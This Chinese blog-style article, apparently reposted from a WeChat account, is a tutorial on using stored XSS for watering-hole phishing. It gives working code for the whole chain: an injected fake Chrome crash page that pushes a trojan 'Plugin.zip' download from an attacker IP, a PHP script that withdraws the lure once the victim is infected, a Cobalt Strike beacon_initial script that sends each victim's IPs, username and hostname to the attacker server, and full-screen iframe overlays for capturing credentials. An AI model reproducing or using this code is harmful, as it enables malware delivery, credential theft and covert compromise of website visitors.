免责声明:由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
1►
简述
XSS我们不陌生,利用XSS可以做到许多的事,比如盗取cookie、钓鱼、获得内网地址、DDOS等等。这里简单学习一下利用XSS钓鱼。
2►
原理
一般需要一个存储型XSS。利用存储型XSS可以实现的目标可以有两种:
-
1.直接诱导目标下载木马,达到直接上线的目的。这种情况最常见于Flash钓鱼,并且以此衍生各种版本,比如google崩溃页面、下载某插件之后才能访问等等。
-
2.诱导目标输入账号密码,达到窃取信息的目的。
这两种攻击方式需要考虑到下载之后如何自动判断上线,并且撤销钓鱼页面(也就是收杆),防止被发现攻击。
而到达目标的线路也是我们需要考虑的,大概分为以下两种
-
不进行跳转,直接利用xss加载伪造页面,收杆的话使用xss或服务端做判断,这里需要用到cs上线提醒。
3►
实践
这里都是通过利用xss加载伪造页面完成的,防止被直接发现。
诱导上线
这里直接使用了Google崩溃页面诱导:
var body = document.body;
var _left = window.innerWidth * 0.3 + 'px';
var _top = window.innerHeight * 0.3 + 'px';
var _height = window.innerHeight;
body.innerHTML=`
<
div
style
=
"background-color: white;height: ${_height}px"
>
<
div
style
=
'position:absolute;top:${_top};left:${_left};height:300px;width:600px;'
>
<
img
src
=
'https://files.catbox.moe/kgxxm1.png'
style
=
'margin:3px;'
>
<
p
>
<
h3
>
喔唷,崩溃啦!
</
h3
>
</
p
>
<
p
style
=
'color:gray'
>
显示此网页时出了点问题,请在您的页面上启用显示插件,从而可能会有所帮助。
</
br
>
</
p
>
<
a
href
=
'http://39.105.*.*/Plugin.zip'
>
<
button
style
=
'margin-left:85%;height:30px;line-hight:30px;outline:none;border:none;background-color:rgb(26,115,232);color:white'
>
立即修复
</
button
>
</
a
>
</
div
>
</
div
>
`
<
img
style
=
'margin:3px;'
src
=
"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAF4AAABOCAIAAAAmZjaiAAAACXBIWXMAABJ0AAASdAHeZh94AAAAEXRFWHRTb2Z0d2FyZQBTbmlwYXN0ZV0Xzt0AAAUoSURBVHic7ZzrT1NnHMd/50bsAdpBS7nIqQPcJaPcHeGmbpnCahVjZF6WzMxgTHxJMjP/hF1MzN67GTFxc3ObokiCy2YM4uLmuBR0WeTWlkSxp3KzJWnpsxeHMRz8gufSFJfn86o96fM9Tz99nnOe85znlCGEAGUl2ERXYO1C1aBQNShUDQpVg0LVoFA1KFQNClWDQtWgUDUoVA0Kv3zTmNd3/adfVKVwPOd21dszMgBgfn6+vaNzYuKxqoTyspLyshJVReLNCmqCwWBX921VKYIgbKmrUdQQQvo9Aw+GhlUl2Gzpa00N7VAoVA0Ko0xlLT2+pKQm5+bkqEohhHh9/nB4DgAYlnFIuaZ161QlBGQ5EAgqr8vLisvLSlUVjwcLxxpZ/vf4UlZacuC9vapSIpHIjZtdQ8MjAMDz/NbNtRsL8lUlXGq7ulgBqzV9LaihHQqFqkFZ4eStk1gsduVqR2pqqqpSXp9v8XVPb58sB1ctkpmZ4XY1sGy8ft24qOnzDOhJ8Pr8Xp9/1Y9tLMh3NWyPnxraoVCoGhRjOhTHcY07d8zMzBiS9pyE5+bOnvtaGZfZ7Ta3q4HjOAPzjVHDsmxJsdOQqOfnwdDwhe9+iEajAFCQn+dq2G6sGtqhUKgaFKoGhapBoWpQqBoUqgZF3bhmfj7mGRycnZlNS0srfON1ABgd8/r94yzLFjkLU1NTNNfD6/N7vT4AKHIWWizmqelpz8A9IESScjc4JM2xelCnJhqNXm5rHxkdKy5yKmru/H73WkenIAgnjrfoUfNHT++ltnYA+PijFovF/PDhoy/PtBJCGnfuSJQa2qFQ1LUanud3N7pnZ2Znnz49/VUrAGRk2I4cPsSyrHKnRTPlZaU2qxUAenr7bnX/Koqm5g8/AABJytUTqwd1ajiOLS0uAoB+z8A3334PAPv27qmrrdZfD4eU65ByAeDTk6fu//nXa6++cnB/E8Mw+pM1o04NIWRqejoaiYbn5pQfOUZigYDMMIzFYuZ57ReroVA4FAoBgMkk2qxWUTQFZJkBRhRNoihqjtWDui8TiUTOnjvv840X5OedON4CADdudn3y+Sle4I8dbdZzvOzqvt15/WcAeP9Ak2N/k88//tnJLwgh29556936bZpj9aC21cDk5FRAlnNysm22f1qNLAuCoEwOaCYUCgVkGZRWY7PKwWBAlgkhoVBYT6we1B9rSorW5+RI0nply8sbHHU11RzP6TlzA4BDkupqqgHgJYsZACxmc11NFSGQqDM3aDlD7XIv3VK5qaJyU4X+evxnpURWVmbz4UP6Y/VAxzUoVA0KVYNC1aBQNShUDYoB96GePJkcvHdfQ0GHQ3Ik7upxVQxQ4xsfP32mVUPBPbt3rWU1tEOhaGk1d3672+8ZXHybnCIe0TRyDciyMumzFLerPjs7S0Oa4WhRMzI6tnRhcbGz8OC+Jg05P16+snyBcm1N1QusJjlZVCZrFMxms7Z9i+IzOQrhcCgQkJduEQTBYtG4Cz1oUfP21i1VlW8uvk1KStK278211RXLVnqev3DR6724dEte3oZjR5vjt/oKQ2OrSU42YOZNFMXlM3jh8MLEzSLp6Wn696UB49fy6cRZWGhNf6aXZWXZEzJJvObUuF31ia7CAnRcg0LVoCDPQ91S9zxUQng08TgWi8Uvf+Wn6LRdE/3PoB0KhapBWehQVmu6chvoBcVutxk+XGboH0Jh0A6FQtWgUDUoVA0KVYNC1aBQNShUDQpVg0LVoPwNSQWN1SB9nloAAAAASUVORK5CYII="
>
图片可以直接去网上找这个小图标然后上传到图床。但是这样会有加载延迟,要么写时间延迟,要么将图片硬编码进去,这里我使用了图片的硬编码。
然后考虑卸载页面的问题,我们有两种思路
-
在服务器做一个判断,既当CS收到上线提醒后向服务器发送请求,改变服务器状态,然后直接在JS中再做一次判断,根据服务器状态决定是否启用钓鱼页面。
-
直接将js文件指向服务器,做一个状态判断,未上线状态则返回js代码。
为了方便,这里是采用第二种方法:
当CS检测到上线的时候,自动发送请求到http://192.168.101.189/xss.php?s=success
改变了服务器状态,之后当受害者再去访问页面的时候既得到正常的页面。
xss:
<
script
type
=
"text/javascript"
src
=
http://192.168.101.189/xss.php
>
$status =
0
;
$js = file_get_contents(
'js.js'
);
if
($_GET[
's'
]==
'success'
){
file_put_contents(
'1'
, $_GET[
'c'
]);
}
if
(file_exists(
'1'
)){
echo
1
;
}
else
{
header(
'Content-type: text/javascript'
);
echo
$js;
}
?>
CS上线提醒
这里用到的是beacon_initial事件,也就是在会话初始化的时候会运行的代码:
# 循环获取所有beacon
on beacon_initial {
sub
http_get
{
local
(
'$output'
);
$url = [new java.net.URL: $1];
$stream = [$url openStream];
$handle = [SleepUtils getIOHandle: $stream, $null];
@content = readAll($handle);
foreach
$line (@content) {
$output .= $line .
"rn"
;
}
println($output);
}
#获取ip、计算机名、登录账号
$externalIP = replace(beacon_info($1,
"external"
),
" "
,
"_"
);
$internalIP = replace(beacon_info($1,
"internal"
),
" "
,
"_"
);
$userName = replace(beacon_info($1,
"user"
),
" "
,
"_"
);
$computerName = replace(beacon_info($1,
"computer"
),
" "
,
"_"
);
$url =
'http://192.168.101.189/xss.php?s=success&c='
.$externalIP.$internalIP.$userName.$computerName;
http_get($url);
}
CS服务端加载脚本:
./agscript [host] [port] [user] [pass] <
/path/
to/file.cna>
-
[host] #服务器的ip地址。
-
[port] #cs的端口号,启动cs时有显示。
-
[user] #用户名,用来运行这个脚本的用户名,随便即可。
-
[pass] #cs的密码,就是启动cs时你设置的密码。
-
[path] #cna文件的路径。
如此就完成一个简单的上线既卸载页面的功能。
诱导输入
这里可以使用iframe 标签,src 的替换成欺骗页面。
<
iframe
src
=
"https://www.runoob.com/php/php-eof-heredoc.html"
style
=
"position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"
>
</
iframe
>
或者使用js写入:
function
prepareFrame
(
)
{
var
ifrm =
document
.createElement(
"iframe"
);
ifrm.setAttribute(
"src"
,
"https://www.runoob.com/php/php-eof-heredoc.html"
);
ifrm.setAttribute(
"style"
,
"position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"
);
document
.body.appendChild(ifrm);
}
prepareFrame()
同样可以放在服务器上,设置判断(参见前文思路)。关于iframe的内容就需要根据实际情况判断。
参考资料:
https://hackergu.com/cobaltstrike-wechat-alert/
http://www.nmd5.com/posts/2020-04-20-22/
https://www.freebuf.com/articles/web/263612.html
https://luoooio.github.io/posts/xss1/
原文始发于微信公众号(李白你好):XSS钓鱼实现水坑攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论